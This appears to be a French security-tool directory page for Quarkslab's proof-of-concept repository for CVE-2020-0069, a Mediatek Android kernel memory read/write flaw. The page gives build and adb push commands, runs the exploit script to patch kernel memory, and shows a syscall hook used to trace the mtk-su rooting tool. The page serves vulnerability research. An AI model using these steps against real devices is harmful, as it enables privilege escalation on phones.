Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2020-0069_poc — Exploit de preuve de concept pour CVE-2020-0069 sur les appareils Android Mediatek, permettant la lecture/écriture de la mémoire noyau et l'interception d'appels système pour l'escalade de privilèges. | Kitploit
Outils/GitHubGitHub/quarkslab/cve-2020-0069_poc
Sécurité AndroidEscalade de PrivilègesExploitationSécurité MobileExploitation de Binaires
GitHubquarkslab/cve-2020-0069_poc

CVE-2020-0069_poc

Exploit de preuve de concept pour CVE-2020-0069 sur les appareils Android Mediatek, permettant la lecture/écriture de la mémoire noyau et l'interception d'appels système pour l'escalade de privilèges.

Voir le dépôt
109263il y a 6 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Description

Ce dépôt contient les documents que nous avons utilisés pour étudier CVE-2020-0069 sur un Xiaomi Redmi 6a (avec un SoC Mediatek MT6762M).

Il y a trois programmes :

  • kernel_rw.c un programme C permettant de lire/écrire la mémoire du noyau
  • poc.sh un script shell
  • syscall_hook.c une bibliothèque C qui peut être utilisée pour tracer le programme mtk-su (testé sur la version 19)

Construction

Pour construire les binaires :

root@kitploit:~
$ ndk-build

Puis poussez-les sur l'appareil :

root@kitploit:~
$ adb push poc.sh /data/local/tmp
$ adb push libs/armeabi-v7a/kernel_rw /data/local/tmp
$ adb push libs/armeabi-v7a/libsyscall_hook.so /data/local/tmp

Utilisation

Preuve de concept de CVE-2020-0069

root@kitploit:~
$ uname -a
Linux localhost 4.9.77+ #1 SMP PREEMPT Mon Jan 21 18:32:19 WIB 2019 armv7l
$ sh poc.sh
[+] Found Linux string at 0x4180bc00
[+] Found Linux string at 0x4180bea0
[+] Write the patched value
$ uname -a
minix  4.9.77+ #1 SMP PREEMPT Mon Jan 21 18:32:19 WIB 2019 armv7l

Pour tracer mtk-su

root@kitploit:~
$ mkdir mtk-su
$ LD_PRELOAD=./syscall_hook.so ./mtk-su
alloc failed
alloc count=400 startPA=0x53df4000
uncatched ioctl 40e07803
exec command (num 0) ( blockSize=8040, readAddress.count=0 ) dumped into cmd-0
exec command (num 1) ( blockSize=3e0, readAddress.count=1e ) dumped into cmd-1
exec command (num 2) ( blockSize=3e0, readAddress.count=1e ) dumped into cmd-2
[...]
$ cat  mtksu/cmd-1
WFE to_wait=1, wait=1, to_update=1, update=0, event=1da
MOVE 40a68000 into reg 17
READ  address reg 17, data reg b
MOVE startPA+0 into reg 17
WRITE  address reg 17, data reg b
[...]
Télécharger l’outil